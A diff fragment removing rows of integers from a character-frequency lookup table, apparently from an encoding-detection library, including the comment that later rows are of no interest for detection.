-3257,4108, 616,2210,4364,3180,2183,2294,5534,1833,5535,3525,4720,5536,1319,3770, # 4112
-3771,1211,3636,1023,3258,1293,2812,5537,5538,5539,3905, 607,2311,3906, 762,2892, # 4128
-1439,4365,1360,4721,1485,3072,5540,4722,1038,4366,1450,2062,2648,4367,1379,4723, # 4144
-2593,5541,5542,4368,1352,1414,2330,2935,1172,5543,5544,3907,3908,4724,1798,1451, # 4160
-5545,5546,5547,5548,2936,4109,4110,2492,2351, 411,4111,4112,3637,3333,3124,4725, # 4176
-1561,2674,1452,4113,1375,5549,5550,  47,2974, 316,5551,1406,1591,2937,3181,5552, # 4192
-1025,2142,3125,3182, 354,2740, 884,2228,4369,2412, 508,3772, 726,3638, 996,2433, # 4208
-3639, 729,5553, 392,2194,1453,4114,4726,3773,5554,5555,2463,3640,2618,1675,2813, # 4224
- 919,2352,2975,2353,1270,4727,4115,  73,5556,5557, 647,5558,3259,2856,2259,1550, # 4240
-1346,3024,5559,1332, 883,3526,5560,5561,5562,5563,3334,2775,5564,1212, 831,1347, # 4256
-4370,4728,2331,3909,1864,3073, 720,3910,4729,4730,3911,5565,4371,5566,5567,4731, # 4272
-5568,5569,1799,4732,3774,2619,4733,3641,1645,2376,4734,5570,2938, 669,2211,2675, # 4288
-2434,5571,2893,5572,5573,1028,3260,5574,4372,2413,5575,2260,1353,5576,5577,4735, # 4304
-3183, 518,5578,4116,5579,4373,1961,5580,2143,4374,5581,5582,3025,2354,2355,3912, # 4320
- 516,1834,1454,4117,2708,4375,4736,2229,2620,1972,1129,3642,5583,2776,5584,2976, # 4336
-1422, 577,1470,3026,1524,3410,5585,5586, 432,4376,3074,3527,5587,2594,1455,2515, # 4352
-2230,1973,1175,5588,1020,2741,4118,3528,4737,5589,2742,5590,1743,1361,3075,3529, # 4368
-2649,4119,4377,4738,2295, 895, 924,4378,2171, 331,2247,3076, 166,1627,3077,1098, # 4384
-5591,1232,2894,2231,3411,4739, 657, 403,1196,2377, 542,3775,3412,1600,4379,3530, # 4400
-5592,4740,2777,3261, 576, 530,1362,4741,4742,2540,2676,3776,4120,5593, 842,3913, # 4416
-5594,2814,2032,1014,4121, 213,2709,3413, 665, 621,4380,5595,3777,2939,2435,5596, # 4432
-2436,3335,3643,3414,4743,4381,2541,4382,4744,3644,1682,4383,3531,1380,5597, 724, # 4448
-2282, 600,1670,5598,1337,1233,4745,3126,2248,5599,1621,4746,5600, 651,4384,5601, # 4464
-1612,4385,2621,5602,2857,5603,2743,2312,3078,5604, 716,2464,3079, 174,1255,2710, # 4480
-4122,3645, 548,1320,1398, 728,4123,1574,5605,1891,1197,3080,4124,5606,3081,3082, # 4496
-3778,3646,3779, 747,5607, 635,4386,4747,5608,5609,5610,4387,5611,5612,4748,5613, # 4512
-3415,4749,2437, 451,5614,3780,2542,2073,4388,2744,4389,4125,5615,1764,4750,5616, # 4528
-4390, 350,4751,2283,2395,2493,5617,4391,4126,2249,1434,4127, 488,4752, 458,4392, # 4544
-4128,3781, 771,1330,2396,3914,2576,3184,2160,2414,1553,2677,3185,4393,5618,2494, # 4560
-2895,2622,1720,2711,4394,3416,4753,5619,2543,4395,5620,3262,4396,2778,5621,2016, # 4576
-2745,5622,1155,1017,3782,3915,5623,3336,2313, 201,1865,4397,1430,5624,4129,5625, # 4592
-5626,5627,5628,5629,4398,1604,5630, 414,1866, 371,2595,4754,4755,3532,2017,3127, # 4608
-4756,1708, 960,4399, 887, 389,2172,1536,1663,1721,5631,2232,4130,2356,2940,1580, # 4624
-5632,5633,1744,4757,2544,4758,4759,5634,4760,5635,2074,5636,4761,3647,3417,2896, # 4640
-4400,5637,4401,2650,3418,2815, 673,2712,2465, 709,3533,4131,3648,4402,5638,1148, # 4656
- 502, 634,5639,5640,1204,4762,3649,1575,4763,2623,3783,5641,3784,3128, 948,3263, # 4672
- 121,1745,3916,1110,5642,4403,3083,2516,3027,4132,3785,1151,1771,3917,1488,4133, # 4688
-1987,5643,2438,3534,5644,5645,2094,5646,4404,3918,1213,1407,2816, 531,2746,2545, # 4704
-3264,1011,1537,4764,2779,4405,3129,1061,5647,3786,3787,1867,2897,5648,2018, 120, # 4720
-4406,4407,2063,3650,3265,2314,3919,2678,3419,1955,4765,4134,5649,3535,1047,2713, # 4736
-1266,5650,1368,4766,2858, 649,3420,3920,2546,2747,1102,2859,2679,5651,5652,2000, # 4752
-5653,1111,3651,2977,5654,2495,3921,3652,2817,1855,3421,3788,5655,5656,3422,2415, # 4768
-2898,3337,3266,3653,5657,2577,5658,3654,2818,4135,1460, 856,5659,3655,5660,2899, # 4784
-2978,5661,2900,3922,5662,4408, 632,2517, 875,3923,1697,3924,2296,5663,5664,4767, # 4800
-3028,1239, 580,4768,4409,5665, 914, 936,2075,1190,4136,1039,2124,5666,5667,5668, # 4816
-5669,3423,1473,5670,1354,4410,3925,4769,2173,3084,4137, 915,3338,4411,4412,3339, # 4832
-1605,1835,5671,2748, 398,3656,4413,3926,4138, 328,1913,2860,4139,3927,1331,4414, # 4848
-3029, 937,4415,5672,3657,4140,4141,3424,2161,4770,3425, 524, 742, 538,3085,1012, # 4864
-5673,5674,3928,2466,5675, 658,1103, 225,3929,5676,5677,4771,5678,4772,5679,3267, # 4880
-1243,5680,4142, 963,2250,4773,5681,2714,3658,3186,5682,5683,2596,2332,5684,4774, # 4896
-5685,5686,5687,3536, 957,3426,2547,2033,1931,2941,2467, 870,2019,3659,1746,2780, # 4912
-2781,2439,2468,5688,3930,5689,3789,3130,3790,3537,3427,3791,5690,1179,3086,5691, # 4928
-3187,2378,4416,3792,2548,3188,3131,2749,4143,5692,3428,1556,2549,2297, 977,2901, # 4944
-2034,4144,1205,3429,5693,1765,3430,3189,2125,1271, 714,1689,4775,3538,5694,2333, # 4960
-3931, 533,4417,3660,2184, 617,5695,2469,3340,3539,2315,5696,5697,3190,5698,5699, # 4976
-3932,1988, 618, 427,2651,3540,3431,5700,5701,1244,1690,5702,2819,4418,4776,5703, # 4992
-3541,4777,5704,2284,1576, 473,3661,4419,3432, 972,5705,3662,5706,3087,5707,5708, # 5008
-4778,4779,5709,3793,4145,4146,5710, 153,4780, 356,5711,1892,2902,4420,2144, 408, # 5024
- 803,2357,5712,3933,5713,4421,1646,2578,2518,4781,4782,3934,5714,3935,4422,5715, # 5040
-2416,3433, 752,5716,5717,1962,3341,2979,5718, 746,3030,2470,4783,4423,3794, 698, # 5056
-4784,1893,4424,3663,2550,4785,3664,3936,5719,3191,3434,5720,1824,1302,4147,2715, # 5072
-3937,1974,4425,5721,4426,3192, 823,1303,1288,1236,2861,3542,4148,3435, 774,3938, # 5088
-5722,1581,4786,1304,2862,3939,4787,5723,2440,2162,1083,3268,4427,4149,4428, 344, # 5104
-1173, 288,2316, 454,1683,5724,5725,1461,4788,4150,2597,5726,5727,4789, 985, 894, # 5120
-5728,3436,3193,5729,1914,2942,3795,1989,5730,2111,1975,5731,4151,5732,2579,1194, # 5136
- 425,5733,4790,3194,1245,3796,4429,5734,5735,2863,5736, 636,4791,1856,3940, 760, # 5152
-1800,5737,4430,2212,1508,4792,4152,1894,1684,2298,5738,5739,4793,4431,4432,2213, # 5168
- 479,5740,5741, 832,5742,4153,2496,5743,2980,2497,3797, 990,3132, 627,1815,2652, # 5184
-4433,1582,4434,2126,2112,3543,4794,5744, 799,4435,3195,5745,4795,2113,1737,3031, # 5200
-1018, 543, 754,4436,3342,1676,4796,4797,4154,4798,1489,5746,3544,5747,2624,2903, # 5216
-4155,5748,5749,2981,5750,5751,5752,5753,3196,4799,4800,2185,1722,5754,3269,3270, # 5232
-1843,3665,1715, 481, 365,1976,1857,5755,5756,1963,2498,4801,5757,2127,3666,3271, # 5248
- 433,1895,2064,2076,5758, 602,2750,5759,5760,5761,5762,5763,3032,1628,3437,5764, # 5264
-3197,4802,4156,2904,4803,2519,5765,2551,2782,5766,5767,5768,3343,4804,2905,5769, # 5280
-4805,5770,2864,4806,4807,1221,2982,4157,2520,5771,5772,5773,1868,1990,5774,5775, # 5296
-5776,1896,5777,5778,4808,1897,4158, 318,5779,2095,4159,4437,5780,5781, 485,5782, # 5312
- 938,3941, 553,2680, 116,5783,3942,3667,5784,3545,2681,2783,3438,3344,2820,5785, # 5328
-3668,2943,4160,1747,2944,2983,5786,5787, 207,5788,4809,5789,4810,2521,5790,3033, # 5344
- 890,3669,3943,5791,1878,3798,3439,5792,2186,2358,3440,1652,5793,5794,5795, 941, # 5360
-2299, 208,3546,4161,2020, 330,4438,3944,2906,2499,3799,4439,4811,5796,5797,5798, # 5376  #last 512
-#Everything below is of no interest for detection purpose
-2522,1613,4812,5799,3345,3945,2523,5800,4162,5801,1637,4163,2471,4813,3946,5802, # 5392
-2500,3034,3800,5803,5804,2195,4814,5805,2163,5806,5807,5808,5809,5810,5811,5812, # 5408
-5813,5814,5815,5816,5817,5818,5819,5820,5821,5822,5823,5824,5825,5826,5827,5828, # 5424
-5829,5830,5831,5832,5833,5834,5835,5836,5837,5838,5839,5840,5841,5842,5843,5844, # 5440
-5845,5846,5847,5848,5849,5850,5851,5852,5853,5854,5855,5856,5857,5858,5859,5860, # 5456
-5861,5862,5863,5864,5865,5866,5867,5868,5869,5870,5871,5872,5873,5874,5875,5876, # 5472
-5877,5878,5879,5880,5881,5882,5883,5884,5885,5886,5887,5888,5889,5890,5891,5892, # 5488
-5893,5894,5895,5896,5897,5898,5899,5900,5901,5902,5903,5904,5905,5906,5907,5908, # 5504
-5909,5910,5911,5912,5913,5914,5915,5916,5917,5918,5919,5920,5921,5922,5923,5924, # 5520
-5925,5926,5927,5928,5929,5930,5931,5932,5933,5934,5935,5936,5937,5938,5939,5940, # 5536
-5941,5942,5943,5944,5945,5946,5947,5948,5949,5950,5951,5952,5953,5954,5955,5956, # 5552
-5957,5958,5959,5960,5961,5962,5963,5964,5965,5966,5967,5968,5969,5970,5971,5972, # 5568
-5973,5974,5975,5976,5977,5978,5979,5980,5981,5982,5983,5984,5985,5986,5987,5988, # 5584
-5989,5990,5991,5992,5993,5994,5995,5996,5997,5998,5999,6000,6001,6002,6003,6004, # 5600
-6005,6006,6007,6008,6009,6010,6011,6012,6013,6014,6015,6016,6017,6018,6019,6020, # 5616
-6021,6022,6023,6024,6025,6026,6027,6028,6029,6030,6031,6032,6033,6034,6035,6036, # 5632
-6037,6038,6039,6040,6041,6042,6043,6044,6045,6046,6047,6048,6049,6050,6051,6052, # 5648
-6053,6054,6055,6056,6057,6058,6059,6060,6061,6062,6063,6064,6065,6066,6067,6068, # 5664
-6069,6070,6071,6072,6073,6074,6075,6076,6077,6078,6079,6080,6081,6082,6083,6084, # 5680
-6085,6086,6087,6088,6089,6090,6091,6092,6093,6094,6095,6096,6097,6098,6099,6100, # 5696
-6101,6102,6103,6104,6105,6106,6107,6108,6109,6110,6111,6112,6113,6114,6115,6116, # 5712
-6117,6118,6119,6120,6121,6122,6123,6124,6125,6126,6127,6128,6129,6130,6131,6132, # 5728
-6133,6134,6135,6136,6137,6138,6139,6140,6141,6142,6143,6144,6145,6146,6147,6148, # 5744
-6149,6150,6151,6152,6153,6154,6155,6156,6157,6158,6159,6160,6161,6162,6163,6164, # 5760
-6165,6166,6167,6168,6169,6170,6171,6172,6173,6174,6175,6176,6177,6178,6179,6180, # 5776
-6181,6182,6183,6184,6185,6186,6187,6188,6189,6190,6191,6192,6193,6194,6195,6196, # 5792
-6197,6198,6199,6200,6201,6202,6203,6204,6205,6206,6207,6208,6209,6210,6211,6212, # 5808
-6213,6214,6215,6216,6217,6218,6219,6220,6221,6222,6223,3670,6224,6225,6226,6227, # 5824
-6228,6229,6230,6231,6232,6233,6234,6235,6236,6237,6238,6239,6240,6241,6242,6243, # 5840
-6244,6245,6246,6247,6248,6249,6250,6251,6252,6253,6254,6255,6256,6257,6258,6259, # 5856
-6260,6261,6262,6263,6264,6265,6266,6267,6268,6269,6270,6271,6272,6273,6274,6275, # 5872
-6276,6277,6278,6279,6280,6281,6282,6283,6284,6285,4815,6286,6287,6288,6289,6290, # 5888
-6291,6292,4816,6293,6294,6295,6296,6297,6298,6299,6300,6301,6302,6303,6304,6305, # 5904
-6306,6307,6308,6309,6310,6311,4817,4818,6312,6313,6314,6315,6316,6317,6318,4819, # 5920
-6319,6320,6321,6322,6323,6324,6325,6326,6327,6328,6329,6330,6331,6332,6333,6334, # 5936
-6335,6336,6337,4820,6338,6339,6340,6341,6342,6343,6344,6345,6346,6347,6348,6349, # 5952
-6350,6351,6352,6353,6354,6355,6356,6357,6358,6359,6360,6361,6362,6363,6364,6365, # 5968
-6366,6367,6368,6369,6370,6371,6372,6373,6374,6375,6376,6377,6378,6379,6380,6381, # 5984
-6382,6383,6384,6385,6386,6387,6388,6389,6390,6391,6392,6393,6394,6395,6396,6397, # 6000
-6398,6399,6400,6401,6402,6403,6404,6405,6406,6407,6408,6409,6410,3441,6411,6412, # 6016
-6413,6414,6415,6416,6417,6418,6419,6420,6421,6422,6423,6424,6425,4440,6426,6427, # 6032
-6428,6429,6430,6431,6432,6433,6434,6435,6436,6437,6438,6439,6440,6441,6442,6443, # 6048
-6444,6445,6446,6447,6448,6449,6450,6451,6452,6453,6454,4821,6455,6456,6457,6458, # 6064
-6459,6460,6461,6462,6463,6464,6465,6466,6467,6468,6469,6470,6471,6472,6473,6474, # 6080
-6475,6476,6477,3947,3948,6478,6479,6480,6481,3272,4441,6482,6483,6484,6485,4442, # 6096
-6486,6487,6488,6489,6490,6491,6492,6493,6494,6495,6496,4822,6497,6498,6499,6500, # 6112
-6501,6502,6503,6504,6505,6506,6507,6508,6509,6510,6511,6512,6513,6514,6515,6516, # 6128
-6517,6518,6519,6520,6521,6522,6523,6524,6525,6526,6527,6528,6529,6530,6531,6532, # 6144
-6533,6534,6535,6536,6537,6538,6539,6540,6541,6542,6543,6544,6545,6546,6547,6548, # 6160
-6549,6550,6551,6552,6553,6554,6555,6556,2784,6557,4823,6558,6559,6560,6561,6562, # 6176
-6563,6564,6565,6566,6567,6568,6569,3949,6570,6571,6572,4824,6573,6574,6575,6576, # 6192
-6577,6578,6579,6580,6581,6582,6583,4825,6584,6585,6586,3950,2785,6587,6588,6589, # 6208
-6590,6591,6592,6593,6594,6595,6596,6597,6598,6599,6600,6601,6602,6603,6604,6605, # 6224
-6606,6607,6608,6609,6610,6611,6612,4826,6613,6614,6615,4827,6616,6617,6618,6619, # 6240
-6620,6621,6622,6623,6624,6625,4164,6626,6627,6628,6629,6630,6631,6632,6633,6634, # 6256
-3547,6635,4828,6636,6637,6638,6639,6640,6641,6642,3951,2984,6643,6644,6645,6646, # 6272
-6647,6648,6649,4165,6650,4829,6651,6652,4830,6653,6654,6655,6656,6657,6658,6659, # 6288
-6660,6661,6662,4831,6663,6664,6665,6666,6667,6668,6669,6670,6671,4166,6672,4832, # 6304
-3952,6673,6674,6675,6676,4833,6677,6678,6679,4167,6680,6681,6682,3198,6683,6684, # 6320
-6685,6686,6687,6688,6689,6690,6691,6692,6693,6694,6695,6696,6697,4834,6698,6699, # 6336
-6700,6701,6702,6703,6704,6705,6706,6707,6708,6709,6710,6711,6712,6713,6714,6715, # 6352
-6716,6717,6718,6719,6720,6721,6722,6723,6724,6725,6726,6727,6728,6729,6730,6731, # 6368
-6732,6733,6734,4443,6735,6736,6737,6738,6739,6740,6741,6742,6743,6744,6745,4444, # 6384
-6746,6747,6748,6749,6750,6751,6752,6753,6754,6755,6756,6757,6758,6759,6760,6761, # 6400
-6762,6763,6764,6765,6766,6767,6768,6769,6770,6771,6772,6773,6774,6775,6776,6777, # 6416
-6778,6779,6780,6781,4168,6782,6783,3442,6784,6785,6786,6787,6788,6789,6790,6791, # 6432
-4169,6792,6793,6794,6795,6796,6797,6798,6799,6800,6801,6802,6803,6804,6805,6806, # 6448
-6807,6808,6809,6810,6811,4835,6812,6813,6814,4445,6815,6816,4446,6817,6818,6819, # 6464
-6820,6821,6822,6823,6824,6825,6826,6827,6828,6829,6830,6831,6832,6833,6834,6835, # 6480
-3548,6836,6837,6838,6839,6840,6841,6842,6843,6844,6845,6846,4836,6847,6848,6849, # 6496
-6850,6851,6852,6853,6854,3953,6855,6856,6857,6858,6859,6860,6861,6862,6863,6864, # 6512
-6865,6866,6867,6868,6869,6870,6871,6872,6873,6874,6875,6876,6877,3199,6878,6879, # 6528
-6880,6881,6882,4447,6883,6884,6885,6886,6887,6888,6889,6890,6891,6892,6893,6894, # 6544
-6895,6896,6897,6898,6899,6900,6901,6902,6903,6904,4170,6905,6906,6907,6908,6909, # 6560
-6910,6911,6912,6913,6914,6915,6916,6917,6918,6919,6920,6921,6922,6923,6924,6925, # 6576
-6926,6927,4837,6928,6929,6930,6931,6932,6933,6934,6935,6936,3346,6937,6938,4838, # 6592
-6939,6940,6941,4448,6942,6943,6944,6945,6946,4449,6947,6948,6949,6950,6951,6952, # 6608
-6953,6954,6955,6956,6957,6958,6959,6960,6961,6962,6963,6964,6965,6966,6967,6968, # 6624
-6969,6970,6971,6972,6973,6974,6975,6976,6977,6978,6979,6980,6981,6982,6983,6984, # 6640
-6985,6986,6987,6988,6989,6990,6991,6992,6993,6994,3671,6995,6996,6997,6998,4839, # 6656
-6999,7000,7001,7002,3549,7003,7004,7005,7006,7007,7008,7009,7010,7011,7012,7013, # 6672
-7014,7015,7016,7017,7018,7019,7020,7021,7022,7023,7024,7025,7026,7027,7028,7029, # 6688
-7030,4840,7031,7032,7033,7034,7035,7036,7037,7038,4841,7039,7040,7041,7042,7043, # 6704
-7044,7045,7046,7047,7048,7049,7050,7051,7052,7053,7054,7055,7056,7057,7058,7059, # 6720
-7060,7061,7062,7063,7064,7065,7066,7067,7068,7069,7070,2985,7071,7072,7073,7074, # 6736
-7075,7076,7077,7078,7079,7080,4842,7081,7082,7083,7084,7085,7086,7087,7088,7089, # 6752
-7090,7091,7092,7093,7094,7095,7096,7097,7098,7099,7100,7101,7102,7103,7104,7105, # 6768
-7106,7107,7108,7109,7110,7111,7112,7113,7114,7115,7116,7117,7118,4450,7119,7120, # 6784
-7121,7122,7123,7124,7125,7126,7127,7128,7129,7130,7131,7132,7133,7134,7135,7136, # 6800
-7137,7138,7139,7140,7141,7142,7143,4843,7144,7145,7146,7147,7148,7149,7150,7151, # 6816
-7152,7153,7154,7155,7156,7157,7158,7159,7160,7161,7162,7163,7164,7165,7166,7167, # 6832
-7168,7169,7170,7171,7172,7173,7174,7175,7176,7177,7178,7179,7180,7181,7182,7183, # 6848
-7184,7185,7186,7187,7188,4171,4172,7189,7190,7191,7192,7193,7194,7195,7196,7197, # 6864
-7198,7199,7200,7201,7202,7203,7204,7205,7206,7207,7208,7209,7210,7211,7212,7213, # 6880
-7214,7215,7216,7217,7218,7219,7220,7221,7222,7223,7224,7225,7226,7227,7228,7229, # 6896
-7230,7231,7232,7233,7234,7235,7236,7237,7238,7239,7240,7241,7242,7243,7244,7245, # 6912
-7246,7247,7248,7249,7250,7251,7252,7253,7254,7255,7256,7257,7258,7259,7260,7261, # 6928
-7262,7263,7264,7265,7266,7267,7268,7269,7270,7271,7272,7273,7274,7275,7276,7277, # 6944
-7278,7279,7280,7281,7282,7283,7284,7285,7286,7287,7288,7289,7290,7291,7292,7293, # 6960
-7294,7295,7296,4844,7297,7298,7299,7300,7301,7302,7303,7304,7305,7306,7307,7308, # 6976
-7309,7310,7311,7312,7313,7314,7315,7316,4451,7317,7318,7319,7320,7321,7322,7323, # 6992
-7324,7325,7326,7327,7328,7329,7330,7331,7332,7333,7334,7335,7336,7337,7338,7339, # 7008
-7340,7341,7342,7343,7344,7345,7346,7347,7348,7349,7350,7351,7352,7353,4173,7354, # 7024
-7355,4845,7356,7357,7358,7359,7360,7361,7362,7363,7364,7365,7366,7367,7368,7369, # 7040
-7370,7371,7372,7373,7374,7375,7376,7377,7378,7379,7380,7381,7382,7383,7384,7385, # 7056
-7386,7387,7388,4846,7389,7390,7391,7392,7393,7394,7395,7396,7397,7398,7399,7400, # 7072
-7401,7402,7403,7404,7405,3672,7406,7407,7408,7409,7410,7411,7412,7413,7414,7415, # 7088
-7416,7417,7418,7419,7420,7421,7422,7423,7424,7425,7426,7427,7428,7429,7430,7431, # 7104
-7432,7433,7434,7435,7436,7437,7438,7439,7440,7441,7442,7443,7444,7445,7446,7447, # 7120
-7448,7449,7450,7451,7452,7453,4452,7454,3200,7455,7456,7457,7458,7459,7460,7461, # 7136
-7462,7463,7464,7465,7466,7467,7468,7469,7470,7471,7472,7473,7474,4847,7475,7476, # 7152
-7477,3133,7478,7479,7480,7481,7482,7483,7484,7485,7486,7487,7488,7489,7490,7491, # 7168
-7492,7493,7494,7495,7496,7497,7498,7499,7500,7501,7502,3347,7503,7504,7505,7506, # 7184
-7507,7508,7509,7510,7511,7512,7513,7514,7515,7516,7517,7518,7519,7520,7521,4848, # 7200
-7522,7523,7524,7525,7526,7527,7528,7529,7530,7531,7532,7533,7534,7535,7536,7537, # 7216
-7538,7539,7540,7541,7542,7543,7544,7545,7546,7547,7548,7549,3801,4849,7550,7551, # 7232
-7552,7553,7554,7555,7556,7557,7558,7559,7560,7561,7562,7563,7564,7565,7566,7567, # 7248
-7568,7569,3035,7570,7571,7572,7573,7574,7575,7576,7577,7578,7579,7580,7581,7582, # 7264
-7583,7584,7585,7586,7587,7588,7589,7590,7591,7592,7593,7594,7595,7596,7597,7598, # 7280
-7599,7600,7601,7602,7603,7604,7605,7606,7607,7608,7609,7610,7611,7612,7613,7614, # 7296
-7615,7616,4850,7617,7618,3802,7619,7620,7621,7622,7623,7624,7625,7626,7627,7628, # 7312
-7629,7630,7631,7632,4851,7633,7634,7635,7636,7637,7638,7639,7640,7641,7642,7643, # 7328
-7644,7645,7646,7647,7648,7649,7650,7651,7652,7653,7654,7655,7656,7657,7658,7659, # 7344
-7660,7661,7662,7663,7664,7665,7666,7667,7668,7669,7670,4453,7671,7672,7673,7674, # 7360
-7675,7676,7677,7678,7679,7680,7681,7682,7683,7684,7685,7686,7687,7688,7689,7690, # 7376
-7691,7692,7693,7694,7695,7696,7697,3443,7698,7699,7700,7701,7702,4454,7703,7704, # 7392
-7705,7706,7707,7708,7709,7710,7711,7712,7713,2472,7714,7715,7716,7717,7718,7719, # 7408
-7720,7721,7722,7723,7724,7725,7726,7727,7728,7729,7730,7731,3954,7732,7733,7734, # 7424
-7735,7736,7737,7738,7739,7740,7741,7742,7743,7744,7745,7746,7747,7748,7749,7750, # 7440
-3134,7751,7752,4852,7753,7754,7755,4853,7756,7757,7758,7759,7760,4174,7761,7762, # 7456
-7763,7764,7765,7766,7767,7768,7769,7770,7771,7772,7773,7774,7775,7776,7777,7778, # 7472
-7779,7780,7781,7782,7783,7784,7785,7786,7787,7788,7789,7790,7791,7792,7793,7794, # 7488
-7795,7796,7797,7798,7799,7800,7801,7802,7803,7804,7805,4854,7806,7807,7808,7809, # 7504
-7810,7811,7812,7813,7814,7815,7816,7817,7818,7819,7820,7821,7822,7823,7824,7825, # 7520
-4855,7826,7827,7828,7829,7830,7831,7832,7833,7834,7835,7836,7837,7838,7839,7840, # 7536
-7841,7842,7843,7844,7845,7846,7847,3955,7848,7849,7850,7851,7852,7853,7854,7855, # 7552
-7856,7857,7858,7859,7860,3444,7861,7862,7863,7864,7865,7866,7867,7868,7869,7870, # 7568
-7871,7872,7873,7874,7875,7876,7877,7878,7879,7880,7881,7882,7883,7884,7885,7886, # 7584
-7887,7888,7889,7890,7891,4175,7892,7893,7894,7895,7896,4856,4857,7897,7898,7899, # 7600
-7900,2598,7901,7902,7903,7904,7905,7906,7907,7908,4455,7909,7910,7911,7912,7913, # 7616
-7914,3201,7915,7916,7917,7918,7919,7920,7921,4858,7922,7923,7924,7925,7926,7927, # 7632
-7928,7929,7930,7931,7932,7933,7934,7935,7936,7937,7938,7939,7940,7941,7942,7943, # 7648
-7944,7945,7946,7947,7948,7949,7950,7951,7952,7953,7954,7955,7956,7957,7958,7959, # 7664
-7960,7961,7962,7963,7964,7965,7966,7967,7968,7969,7970,7971,7972,7973,7974,7975, # 7680
-7976,7977,7978,7979,7980,7981,4859,7982,7983,7984,7985,7986,7987,7988,7989,7990, # 7696
-7991,7992,7993,7994,7995,7996,4860,7997,7998,7999,8000,8001,8002,8003,8004,8005, # 7712
-8006,8007,8008,8009,8010,8011,8012,8013,8014,8015,8016,4176,8017,8018,8019,8020, # 7728
-8021,8022,8023,4861,8024,8025,8026,8027,8028,8029,8030,8031,8032,8033,8034,8035, # 7744
-8036,4862,4456,8037,8038,8039,8040,4863,8041,8042,8043,8044,8045,8046,8047,8048, # 7760
-8049,8050,8051,8052,8053,8054,8055,8056,8057,8058,8059,8060,8061,8062,8063,8064, # 7776
-8065,8066,8067,8068,8069,8070,8071,8072,8073,8074,8075,8076,8077,8078,8079,8080, # 7792
-8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096, # 7808
-8097,8098,8099,4864,4177,8100,8101,8102,8103,8104,8105,8106,8107,8108,8109,8110, # 7824
-8111,8112,8113,8114,8115,8116,8117,8118,8119,8120,4178,8121,8122,8123,8124,8125, # 7840
-8126,8127,8128,8129,8130,8131,8132,8133,8134,8135,8136,8137,8138,8139,8140,8141, # 7856
-8142,8143,8144,8145,4865,4866,8146,8147,8148,8149,8150,8151,8152,8153,8154,8155, # 7872
-8156,8157,8158,8159,8160,8161,8162,8163,8164,8165,4179,8166,8167,8168,8169,8170, # 7888
-8171,8172,8173,8174,8175,8176,8177,8178,8179,8180,8181,4457,8182,8183,8184,8185, # 7904
-8186,8187,8188,8189,8190,8191,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201, # 7920
-8202,8203,8204,8205,8206,8207,8208,8209,8210,8211,8212,8213,8214,8215,8216,8217, # 7936
-8218,8219,8220,8221,8222,8223,8224,8225,8226,8227,8228,8229,8230,8231,8232,8233, # 7952
-8234,8235,8236,8237,8238,8239,8240,8241,8242,8243,8244,8245,8246,8247,8248,8249, # 7968
-8250,8251,8252,8253,8254,8255,8256,3445,8257,8258,8259,8260,8261,8262,4458,8263, # 7984
-8264,8265,8266,8267,8268,8269,8270,8271,8272,4459,8273,8274,8275,8276,3550,8277, # 8000
-8278,8279,8280,8281,8282,8283,8284,8285,8286,8287,8288,8289,4460,8290,8291,8292, # 8016
-8293,8294,8295,8296,8297,8298,8299,8300,8301,8302,8303,8304,8305,8306,8307,4867, # 8032
-8308,8309,8310,8311,8312,3551,8313,8314,8315,8316,8317,8318,8319,8320,8321,8322, # 8048
-8323,8324,8325,8326,4868,8327,8328,8329,8330,8331,8332,8333,8334,8335,8336,8337, # 8064
-8338,8339,8340,8341,8342,8343,8344,8345,8346,8347,8348,8349,8350,8351,8352,8353, # 8080
-8354,8355,8356,8357,8358,8359,8360,8361,8362,8363,4869,4461,8364,8365,8366,8367, # 8096
-8368,8369,8370,4870,8371,8372,8373,8374,8375,8376,8377,8378,8379,8380,8381,8382, # 8112
-8383,8384,8385,8386,8387,8388,8389,8390,8391,8392,8393,8394,8395,8396,8397,8398, # 8128
-8399,8400,8401,8402,8403,8404,8405,8406,8407,8408,8409,8410,4871,8411,8412,8413, # 8144
-8414,8415,8416,8417,8418,8419,8420,8421,8422,4462,8423,8424,8425,8426,8427,8428, # 8160
-8429,8430,8431,8432,8433,2986,8434,8435,8436,8437,8438,8439,8440,8441,8442,8443, # 8176
-8444,8445,8446,8447,8448,8449,8450,8451,8452,8453,8454,8455,8456,8457,8458,8459, # 8192
-8460,8461,8462,8463,8464,8465,8466,8467,8468,8469,8470,8471,8472,8473,8474,8475, # 8208
-8476,8477,8478,4180,8479,8480,8481,8482,8483,8484,8485,8486,8487,8488,8489,8490, # 8224
-8491,8492,8493,8494,8495,8496,8497,8498,8499,8500,8501,8502,8503,8504,8505,8506, # 8240
-8507,8508,8509,8510,8511,8512,8513,8514,8515,8516,8517,8518,8519,8520,8521,8522, # 8256
-8523,8524,8525,8526,8527,8528,8529,8530,8531,8532,8533,8534,8535,8536,8537,8538, # 8272
-8539,8540,8541,8542,8543,8544,8545,8546,8547,8548,8549,8550,8551,8552,8553,8554, # 8288
-8555,8556,8557,8558,8559,8560,8561,8562,8563,8564,4872,8565,8566,8567,8568,8569, # 8304
-8570,8571,8572,8573,4873,8574,8575,8576,8577,8578,8579,8580,8581,8582,8583,8584, # 8320
-8585,8586,8587,8588,8589,8590,8591,8592,8593,8594,8595,8596,8597,8598,8599,8600, # 8336
-8601,8602,8603,8604,8605,3803,8606,8607,8608,8609,8610,8611,8612,8613,4874,3804, # 8352
-8614,8615,8616,8617,8618,8619,8620,8621,3956,8622,8623,8624,8625,8626,8627,8628, # 8368
-8629,8630,8631,8632,8633,8634,8635,8636,8637,8638,2865,8639,8640,8641,8642,8643, # 8384
-8644,8645,8646,8647,8648,8649,8650,8651,8652,8653,8654,8655,8656,4463,8657,8658, # 8400
-8659,4875,4876,8660,8661,8662,8663,8664,8665,8666,8667,8668,8669,8670,8671,8672, # 8416
-8673,8674,8675,8676,8677,8678,8679,8680,8681,4464,8682,8683,8684,8685,8686,8687, # 8432
-8688,8689,8690,8691,8692,8693,8694,8695,8696,8697,8698,8699,8700,8701,8702,8703, # 8448
-8704,8705,8706,8707,8708,8709,2261,8710,8711,8712,8713,8714,8715,8716,8717,8718, # 8464
-8719,8720,8721,8722,8723,8724,8725,8726,8727,8728,8729,8730,8731,8732,8733,4181, # 8480
-8734,8735,8736,8737,8738,8739,8740,8741,8742,8743,8744,8745,8746,8747,8748,8749, # 8496
-8750,8751,8752,8753,8754,8755,8756,8757,8758,8759,8760,8761,8762,8763,4877,8764, # 8512
-8765,8766,8767,8768,8769,8770,8771,8772,8773,8774,8775,8776,8777,8778,8779,8780, # 8528
